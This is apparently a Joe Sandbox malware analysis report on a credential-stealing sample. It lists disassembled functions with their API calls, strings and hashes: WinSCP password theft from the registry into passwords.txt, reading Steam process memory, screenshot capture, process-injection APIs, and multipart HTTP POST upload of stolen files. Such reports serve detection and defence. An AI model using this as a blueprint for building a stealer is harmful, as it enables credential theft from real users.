Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: wwww
API String ID: 565725191-671953474
Opcode ID: d02d355f946309d5fb77ffe609dd2dd317ed8e5471a32a046b4ab4715d77f78c
Instruction ID: 9378462ab9666fb6dba0cc2dba94d0b141e63b92265a990e46b9389926462d0e
Opcode Fuzzy Hash: d02d355f946309d5fb77ffe609dd2dd317ed8e5471a32a046b4ab4715d77f78c
Instruction Fuzzy Hash: B5F02BB1B001105BE704573CBC0AB6A365A4BC6314F1A8225F591DF3E4DE749C5187C5

Function 00410BA0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410BAA

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 180fdf943f679f0908199cc39e44e1d0c0beb04e4c0ad37296b993fdceb6a780
Instruction ID: 2046fac39060b3b77728db7903071d1a84601050c9d96548d090f17622b8ad63
Opcode Fuzzy Hash: 180fdf943f679f0908199cc39e44e1d0c0beb04e4c0ad37296b993fdceb6a780
Instruction Fuzzy Hash: 6AD0237160012097C7002B18FD4D98737545FC1708F010111F745B7151D135996E87DF

Function 004188E0 Relevance: 222.8, APIs: 7, Strings: 120, Instructions: 518
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(gdiplus.dll,00417538), ref: 00418D07
LoadLibraryA.KERNEL32(ole32.dll), ref: 00418D17
LoadLibraryA.KERNEL32(bcrypt.dll), ref: 00418D27
LoadLibraryA.KERNEL32(wininet.dll), ref: 00418D37
LoadLibraryA.KERNEL32(psapi.dll), ref: 00418D67
LoadLibraryA.KERNEL32(rstrtmgr.dll), ref: 00418D77
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418D87

Strings

GlobalSize, xrefs: 00418951
TerminateProcess, xrefs: 00418C45
InternetOpenUrlA, xrefs: 00419163
BCryptSetProperty, xrefs: 00418F74
CreateToolhelp32Snapshot, xrefs: 00418966
GetCurrentProcessId, xrefs: 00418C5A
GetModuleFileNameExA, xrefs: 0041929F
SelectObject, xrefs: 00418DAC
RegEnumKeyExA, xrefs: 0041909E
BCryptGenerateSymmetricKey, xrefs: 00418F37
GetHGlobalFromStream, xrefs: 00418EC5
RmGetList, xrefs: 004192E0
CoInitialize, xrefs: 00418F02
shlwapi.dll, xrefs: 00418D42
EnumDisplayDevicesA, xrefs: 0041902C
CryptBinaryToStringA, xrefs: 004190FF
wsprintfA, xrefs: 00419016
wininet.dll, xrefs: 00418D32
GdipCreateBitmapFromHBITMAP, xrefs: 00418E38
InternetConnectA, xrefs: 00419174
StrStrA, xrefs: 00419254
BitBlt, xrefs: 00418DC2
GdipGetImageEncodersSize, xrefs: 00418E11
RegCloseKey, xrefs: 004190CA
GetModuleFileNameA, xrefs: 00418A62
BCryptDestroyKey, xrefs: 00418F8A
GetVolumeInformationA, xrefs: 004189F9
wsprintfW, xrefs: 0041906E
lstrcpynA, xrefs: 00418BC7
LocalAlloc, xrefs: 00418AE0
HttpSendRequestA, xrefs: 004191B6
InternetReadFile, xrefs: 004191E2
psapi.dll, xrefs: 00418D62
gdiplus.dll, xrefs: 00418D02
StrCmpCW, xrefs: 0041926A
HeapFree, xrefs: 00418927
SetEnvironmentVariableA, xrefs: 00418ACB
SHGetFolderPathA, xrefs: 0041912F
GetLastError, xrefs: 00418BB2
ole32.dll, xrefs: 00418D12
GlobalFree, xrefs: 00418BF1
FindNextFileA, xrefs: 00418A8C
GdipGetImageEncoders, xrefs: 00418E22
CryptUnprotectData, xrefs: 00419110
WriteProcessMemory, xrefs: 00418CD8
dbghelp.dll, xrefs: 00418D82
GetUserDefaultLocaleName, xrefs: 00418A4D
InternetCloseHandle, xrefs: 0041918A
BCryptOpenAlgorithmProvider, xrefs: 00418FA0
RegQueryValueExA, xrefs: 0041908D
CreateCompatibleDC, xrefs: 00418DEE
CreateStreamOnHGlobal, xrefs: 00418ED6
ResumeThread, xrefs: 00418CC3
GetLogicalProcessorInformationEx, xrefs: 00418B9D
FindClose, xrefs: 00418AB6
RmEndSession, xrefs: 004192F6
LocalFree, xrefs: 00418AA1
shell32.dll, xrefs: 00418D52
StrCmpCA, xrefs: 00419243
GetWindowRect, xrefs: 00418FC3
CoCreateInstance, xrefs: 00418F18
GlobalAlloc, xrefs: 00418C1B
GetFileAttributesA, xrefs: 004188FD
BCryptCloseAlgorithmProvider, xrefs: 00418F48
GetFileSize, xrefs: 0041893C
FreeLibrary, xrefs: 004189BA
CreateProcessA, xrefs: 00418C6F
WriteFile, xrefs: 00418B34
GetEnvironmentVariableA, xrefs: 004188ED
GdipSaveImageToStream, xrefs: 00418E7A
ShellExecuteExA, xrefs: 00419140
RmRegisterResources, xrefs: 004192CA
WideCharToMultiByte, xrefs: 00418C06
DeleteObject, xrefs: 00418DD8
SetFilePointer, xrefs: 00418B1F
bcrypt.dll, xrefs: 00418D22
SetThreadContext, xrefs: 00418CED
MultiByteToWideChar, xrefs: 00418BDC
ReadProcessMemory, xrefs: 00418C99
GetDesktopWindow, xrefs: 00418FD4
VirtualAllocEx, xrefs: 00418CAE
FindFirstFileA, xrefs: 00418B5E
GetKeyboardLayoutList, xrefs: 00419042
InternetCrackUrlA, xrefs: 004191F8
Process32First, xrefs: 00418A23
CreateFileA, xrefs: 00418B49
GetThreadContext, xrefs: 00418C84
CreateCompatibleBitmap, xrefs: 00418D9B
RegEnumValueA, xrefs: 004190E0
IsWow64Process, xrefs: 0041897B
GetLocalTime, xrefs: 004189A5
GlobalLock, xrefs: 00418912
GdipDisposeImage, xrefs: 00418E90
GdiplusShutdown, xrefs: 00418E64
RegOpenKeyExA, xrefs: 004190B4
InternetSetOptionA, xrefs: 00419224
GetDC, xrefs: 00418FEA
DeleteFileA, xrefs: 00418A77
InternetOpenA, xrefs: 004191A0
SymMatchString, xrefs: 00419315
GetSystemPowerStatus, xrefs: 004189E4
GdiplusStartup, xrefs: 00418E4E
BCryptDecrypt, xrefs: 00418F5E
CoUninitialize, xrefs: 00418EEC
RmStartSession, xrefs: 004192B9
VirtualProtect, xrefs: 00418B88
GetLocaleInfoA, xrefs: 00418A38
CopyFileA, xrefs: 00418B73
CloseWindow, xrefs: 00419000
PathMatchSpecA, xrefs: 00419280
HttpQueryInfoA, xrefs: 0041920E
GetWindowsDirectoryA, xrefs: 00418A0E
GetTimeZoneInformation, xrefs: 004189CF
CharToOemW, xrefs: 00419058
Process32Next, xrefs: 00418990
HttpOpenRequestA, xrefs: 004191CC
GetFileSizeEx, xrefs: 00418AF5
OpenProcess, xrefs: 00418C30
GdipFree, xrefs: 00418EA6
rstrtmgr.dll, xrefs: 00418D72

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: BCryptCloseAlgorithmProvider$BCryptDecrypt$BCryptDestroyKey$BCryptGenerateSymmetricKey$BCryptOpenAlgorithmProvider$BCryptSetProperty$BitBlt$CharToOemW$CloseWindow$CoCreateInstance$CoInitialize$CoUninitialize$CopyFileA$CreateCompatibleBitmap$CreateCompatibleDC$CreateFileA$CreateProcessA$CreateStreamOnHGlobal$CreateToolhelp32Snapshot$CryptBinaryToStringA$CryptUnprotectData$DeleteFileA$DeleteObject$EnumDisplayDevicesA$FindClose$FindFirstFileA$FindNextFileA$FreeLibrary$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipFree$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$GdiplusShutdown$GdiplusStartup$GetCurrentProcessId$GetDC$GetDesktopWindow$GetEnvironmentVariableA$GetFileAttributesA$GetFileSize$GetFileSizeEx$GetHGlobalFromStream$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalProcessorInformationEx$GetModuleFileNameA$GetModuleFileNameExA$GetSystemPowerStatus$GetThreadContext$GetTimeZoneInformation$GetUserDefaultLocaleName$GetVolumeInformationA$GetWindowRect$GetWindowsDirectoryA$GlobalAlloc$GlobalFree$GlobalLock$GlobalSize$HeapFree$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetCrackUrlA$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$IsWow64Process$LocalAlloc$LocalFree$MultiByteToWideChar$OpenProcess$PathMatchSpecA$Process32First$Process32Next$ReadProcessMemory$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA$ResumeThread$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$SHGetFolderPathA$SelectObject$SetEnvironmentVariableA$SetFilePointer$SetThreadContext$ShellExecuteExA$StrCmpCA$StrCmpCW$StrStrA$SymMatchString$TerminateProcess$VirtualAllocEx$VirtualProtect$WideCharToMultiByte$WriteFile$WriteProcessMemory$bcrypt.dll$dbghelp.dll$gdiplus.dll$lstrcpynA$ole32.dll$psapi.dll$rstrtmgr.dll$shell32.dll$shlwapi.dll$wininet.dll$wsprintfA$wsprintfW
API String ID: 1029625771-859426583
Opcode ID: e334bc535a13e97accdcf64ac2a3aa2131f507ae42f1c63ed7f53eac5600871f
Instruction ID: 0a0f86706a4d50df5c0891041486815c3a2fdb24875638c890ef6a63e7135bce
Opcode Fuzzy Hash: e334bc535a13e97accdcf64ac2a3aa2131f507ae42f1c63ed7f53eac5600871f
Instruction Fuzzy Hash: 0032D6B0A41B50AFD7116F61FD06B257AA3FB85705354603BB802972B2DBBA1850EFD8

Function 0040D080 Relevance: 93.5, APIs: 50, Strings: 3, Instructions: 788stringmemoryregistryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0040D09D
strchr.MSVCRT ref: 0040D0B6
strchr.MSVCRT ref: 0040D0CE
lstrlenA.KERNEL32(?), ref: 0040D0EA
strlen.MSVCRT ref: 0040D130
strcpy_s.MSVCRT ref: 0040D184
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D1CD
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D21F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0040D244
strcpy_s.MSVCRT ref: 0040D2D6
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D2EC
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D322
strcpy_s.MSVCRT ref: 0040D34E
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D364
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D38F
strcpy_s.MSVCRT ref: 0040D3B7
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D3CD
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D3EE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D419
strcpy_s.MSVCRT ref: 0040D44B
HeapFree.KERNEL32(00000000,00000000,?), ref: 0040D461
lstrlenA.KERNEL32(00000000), ref: 0040D468
strlen.MSVCRT ref: 0040D4B6
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0040D4CE
strcpy_s.MSVCRT ref: 0040D50C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D559
??3@YAXPAX@Z.MSVCRT(?), ref: 0040D5BB
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D5CD
lstrlenA.KERNEL32(00000000), ref: 0040D5D4
strcpy_s.MSVCRT ref: 0040D602
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D614
strlen.MSVCRT ref: 0040D65C
??3@YAXPAX@Z.MSVCRT(00000000,0042150A,00000000), ref: 0040D7C4
??3@YAXPAX@Z.MSVCRT(00000000,0042150A,00000000), ref: 0040D811
??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,00000000), ref: 0040D883
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(0042150A,00000000), ref: 0040D9A7
memset.MSVCRT ref: 0040D9DD
memset.MSVCRT ref: 0040D9FA
memset.MSVCRT ref: 0040DA10
memset.MSVCRT ref: 0040DA26
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040DA55
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,00000004), ref: 0040DA7F

Strings

Security, xrefs: 0040DA77
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040DA4B
UseMasterPassword, xrefs: 0040DA72

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FreeHeap$??3@strcpy_s$lstrlen$memset$strlen$_invalid_parameter_noinfo_noreturnstrchr$OpenValue
String ID: Security$Software\Martin Prikryl\WinSCP 2\Configuration$UseMasterPassword
API String ID: 1294003985-1988659312
Opcode ID: 70b48f79dde87d68d958232ae859ffb282ceefb322202551e63ed2134ea11841
Instruction ID: 45027c83fb9c17c7e498a7fe32e666c7a7efeb05010239fc81dc07cf04dd4ddd
Opcode Fuzzy Hash: 70b48f79dde87d68d958232ae859ffb282ceefb322202551e63ed2134ea11841
Instruction Fuzzy Hash: A342C9B19043005BD710ABA5CD49B6FBBE9EF85314F04082EF986A72D1D778DC49CB9A

Function 00418610 Relevance: 63.2, APIs: 2, Strings: 34, Instructions: 150
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,004185CA), ref: 00418615
LoadLibraryA.KERNEL32(crypt32.dll), ref: 0041881B

Strings

crypt32.dll, xrefs: 00418816
GetProcessHeap, xrefs: 00418753
GetComputerNameA, xrefs: 00418729
GetSystemTime, xrefs: 004187BC
NtQueryInformationProcess, xrefs: 004188C9
GetProcAddress, xrefs: 00418628
CreateDCA, xrefs: 00418859
GlobalMemoryStatusEx, xrefs: 004187A7
CloseHandle, xrefs: 0041868C
user32.dll, xrefs: 00418806
Sleep, xrefs: 004186A1
GetUserDefaultLangID, xrefs: 004186B6
SystemTimeToFileTime, xrefs: 004187D1
GetCurrentProcess, xrefs: 00418768
LoadLibraryA, xrefs: 00418638
sscanf, xrefs: 004188B9
GetSystemInfo, xrefs: 004186F5
lstrcpyA, xrefs: 0041873E
gdi32.dll, xrefs: 00418826
kernel32.dll, xrefs: 00418610
CreateEventA, xrefs: 00418677
CryptStringToBinaryA, xrefs: 004188A0
ntdll.dll, xrefs: 004187E6
OpenEventA, xrefs: 00418662
GetUserNameA, xrefs: 00418840
lstrlenA, xrefs: 0041877D
GetDeviceCaps, xrefs: 00418869
VirtualFree, xrefs: 004186E0
advapi32.dll, xrefs: 004187F6
VirtualAllocExNuma, xrefs: 004186CB
ExitProcess, xrefs: 00418792
VirtualAlloc, xrefs: 0041870A
ReleaseDC, xrefs: 00418887
lstrcatA, xrefs: 0041864D

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: CloseHandle$CreateDCA$CreateEventA$CryptStringToBinaryA$ExitProcess$GetComputerNameA$GetCurrentProcess$GetDeviceCaps$GetProcAddress$GetProcessHeap$GetSystemInfo$GetSystemTime$GetUserDefaultLangID$GetUserNameA$GlobalMemoryStatusEx$LoadLibraryA$NtQueryInformationProcess$OpenEventA$ReleaseDC$Sleep$SystemTimeToFileTime$VirtualAlloc$VirtualAllocExNuma$VirtualFree$advapi32.dll$crypt32.dll$gdi32.dll$kernel32.dll$lstrcatA$lstrcpyA$lstrlenA$ntdll.dll$sscanf$user32.dll
API String ID: 4133054770-2466989068
Opcode ID: b0d94fdff95e889663e20a71a92f9650b874d673670a684f651acea377882e8d
Instruction ID: fa4f152899c94b2b2f6a7a6abf1eb692faa9c8451fb2198c09e274f393329d92
Opcode Fuzzy Hash: b0d94fdff95e889663e20a71a92f9650b874d673670a684f651acea377882e8d
Instruction Fuzzy Hash: 2951B4B0A45750AFD711AF25FD42B257AA3EB80705354203FB902A71F3DBBA5450AFE8

Function 0040D9C0 Relevance: 45.9, APIs: 11, Strings: 15, Instructions: 370
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040D9DD
memset.MSVCRT ref: 0040D9FA
memset.MSVCRT ref: 0040DA10
memset.MSVCRT ref: 0040DA26
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040DA55
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,00000004), ref: 0040DA7F
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 0040DAEC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 0040DB43
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,00000004,?,?,?), ref: 0040DC49
RegGetValueA.ADVAPI32(?,?,Password,00000002,00000000,?,00000400,?,?,00421509,?,?,?), ref: 0040DD2C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?), ref: 0040DDDF

Strings

Password: , xrefs: 0040DD34
passwords.txt, xrefs: 0040DE0F
Host: , xrefs: 0040DBD5
:22, xrefs: 0040DC55
Security, xrefs: 0040DA77
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040DA4B
Soft: WinSCP, xrefs: 0040DBB4
HostName, xrefs: 0040DBFE
#, xrefs: 0040DE3D
k@, xrefs: 0040DB93, 0040DE38
PortNumber, xrefs: 0040DC40
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040DAE2
UserName, xrefs: 0040DCC2
Login: , xrefs: 0040DC99
UseMasterPassword, xrefs: 0040DA72

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memset$Value$Open$??3@_invalid_parameter_noinfo_noreturn
String ID: Login: $:22$Host: $HostName$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$k@$passwords.txt$#
API String ID: 1569661976-2564332296
Opcode ID: db978dd1d17637b8657636170a5939793f2c46e79f922b8388fc985c6b70aa0e
Instruction ID: 9d2ed302519055baedf3f01fb35ec56aa45f2f10d73b1c3b99b849dfdee8a1d1
Opcode Fuzzy Hash: db978dd1d17637b8657636170a5939793f2c46e79f922b8388fc985c6b70aa0e
Instruction Fuzzy Hash: 32D19371B002186BDB14ABA1DC9ABFF77B9AF44704F10041EF506B7281DBBC5985CBA9

Function 0040FD50 Relevance: 40.6, APIs: 19, Strings: 4, Instructions: 324
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0040FD6D
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0040FD94
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 0040FDF1
memset.MSVCRT ref: 0040FE01
memset.MSVCRT ref: 0040FDB3

Part of subcall function 0040F9B0: strlen.MSVCRT ref: 0040F9BC
Part of subcall function 0040F9B0: ??_U@YAPAXI@Z.MSVCRT ref: 0040F9DE
Part of subcall function 0040F9B0: memset.MSVCRT ref: 0040F9FE
Part of subcall function 0040F9B0: VirtualQueryEx.KERNEL32(?,?,?,0000001C,?,?,00000000), ref: 0040FAA0

ReadProcessMemory.KERNEL32(00000000,00000000,?,00000208,00000000,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73,-00000208,?,FFFFFFFF,00000FFF,?,?), ref: 0040FE56
strlen.MSVCRT ref: 0040FE67
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FF1E
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040FF84
memcpy.MSVCRT(?,?,0000012E,N0ZWFt,00000000,?,?,?,?,?,00000000), ref: 0040FFC4
??3@YAXPAX@Z.MSVCRT(?,N0ZWFt,00000000,?,?,?,?,?,00000000), ref: 00410037
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00410044
??_U@YAPAXI@Z.MSVCRT(?,?,00000000,steam.exe), ref: 00410070
strcpy.MSVCRT(00000000,?,steam.exe), ref: 00410089

Strings

@Gc, xrefs: 0041018E
steam.exe, xrefs: 00410057
N0ZWFt, xrefs: 0040FEB7
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73, xrefs: 0040FDDA, 0040FE20, 0040FE9F

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??3@memset$Processstrlen$MemoryOpenQueryReadVirtual_invalid_parameter_noinfo_noreturnmemcpystrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73$@Gc$N0ZWFt$steam.exe
API String ID: 2915318159-3068576885
Opcode ID: 91d3c441bb8c7061a24bbe581b1c9e4260f77e48f0fdc8ce8835b4f4c0e4bd54
Instruction ID: 0ac8410772c06d3c7cd158b0f29ba11351ce6fbe5d6182cbcead23e9eae0fd7c
Opcode Fuzzy Hash: 91d3c441bb8c7061a24bbe581b1c9e4260f77e48f0fdc8ce8835b4f4c0e4bd54
Instruction Fuzzy Hash: 4AA125B16043015BDB20AA24DD84BAFBAD5AF41304F10093FF946976C2E7BD99C8839E

Function 00403090 Relevance: 39.2, APIs: 8, Strings: 14, Instructions: 682
networkmemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,?,?,?,004042B3,00416A04,?,?,00416A04), ref: 004028AB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,00416A04,?,?,00416A04), ref: 004028BB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00416A04,?,?,00416A04), ref: 004028CB
Part of subcall function 00402790: InternetCrackUrlA.WININET(00000000,00000000,00000000,?,?,?,00416A04,?,?,00416A04), ref: 004028FA

Part of subcall function 004116B0: RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 00411706

Part of subcall function 004116B0: GetLastError.KERNEL32 ref: 00411733

RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00403679
memcpy.MSVCRT(00000000,00411952,00000000), ref: 004036A2
memcpy.MSVCRT(00000000,00000000,00000000,?,?,?,?,?,?,00000014), ref: 004036C7
memcpy.MSVCRT(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 00403708
HttpSendRequestA.WININET(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040374F
Sleep.KERNEL32(00000BB8,?,?,?,?,?,?,?,?,?,?,?,?,00000014), ref: 0040375D
InternetReadFile.WININET(?,?,000007CF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004037D6
InternetCloseHandle.WININET(?,?,?,?,?,?,?,?,?,?,?,?,?,00000014), ref: 00403859

Strings

ERROR, xrefs: 004038B3
token, xrefs: 00403374
file_name, xrefs: 0040352C
Content-Disposition: form-data; name=", xrefs: 00403358, 00403433, 00403510, 004035EA
", xrefs: 00403390, 0040346B, 00403548, 00403622
--, xrefs: 00403200
------, xrefs: 004031E7
build_id, xrefs: 0040344F
POST, xrefs: 004032C4
file_data, xrefs: 00403606
HTTP/1.1, xrefs: 004032B9
https, xrefs: 00403164
block, xrefs: 00403842
Content-Type: multipart/form-data; boundary=----, xrefs: 0040322E

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Internetmemcpy$AllocateHeap$CloseCrackErrorFileHandleHttpLastReadRequestSendSleep
String ID: ------$"$--$Content-Disposition: form-data; name="$Content-Type: multipart/form-data; boundary=----$ERROR$HTTP/1.1$POST$block$build_id$file_data$file_name$https$token
API String ID: 2263215810-2620489619
Opcode ID: 4b79130a0f4ea3545f79df70e1b297391bfff2f976d9b237d9fafe9a9eb16a72
Instruction ID: bceff4d112c07ef55503c2bfa5bbc07c75ab0ef13ec91c0f48555253a5be1088
Opcode Fuzzy Hash: 4b79130a0f4ea3545f79df70e1b297391bfff2f976d9b237d9fafe9a9eb16a72
Instruction Fuzzy Hash: 4A2263307105286BDB05BBA19C96AFF67699F84748F40006EF4066B281DFBC5EC687ED

Function 00403920 Relevance: 30.4, APIs: 6, Strings: 11, Instructions: 633
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,?,?,?,004042B3,00416A04,?,?,00416A04), ref: 004028AB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,00416A04,?,?,00416A04), ref: 004028BB
Part of subcall function 00402790: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00416A04,?,?,00416A04), ref: 004028CB
Part of subcall function 00402790: InternetCrackUrlA.WININET(00000000,00000000,00000000,?,?,?,00416A04,?,?,00416A04), ref: 004028FA

Part of subcall function 004113B0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0042150A), ref: 0041143E

memcpy.MSVCRT(00000000,00000000,00000000), ref: 00403E6B
memcpy.MSVCRT(00000000,00000000,00000000,?,?,?,?,?,00421505,?,?,?,?,00000014,?,?), ref: 00403EA9
Sleep.KERNEL32(00000BB8,?,?,?,?,?,?,?,?,00421505,?,?,?,?,00000014), ref: 00403EFD
InternetReadFile.WININET(?,?,000000C7,?,?,?,?,?,?,?,?,?,00421505,?,?,?), ref: 00403F93
InternetReadFile.WININET(?,00000000,000000C7,?,?,?,00000000,?,?,?,?,?,?,?,?,00421505), ref: 00403FE6
InternetCloseHandle.WININET(?,?,?,?,?,?,?,?,?,00421505,?,?,?,?,00000014), ref: 00403FFA

Strings

ERROR, xrefs: 00403F53
token, xrefs: 00403BF5
HTTP/1.1, xrefs: 00403B38
mode, xrefs: 00403DB6
https, xrefs: 004039BD
Content-Disposition: form-data; name=", xrefs: 00403BD9, 00403CBA, 00403D9A
------, xrefs: 00403A34, 00403B80, 00403C67, 00403D47
", xrefs: 00403C11, 00403CF2, 00403DD2
Content-Type: multipart/form-data; boundary=----, xrefs: 00403AA3
build_id, xrefs: 00403CD6
POST, xrefs: 00403B43

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
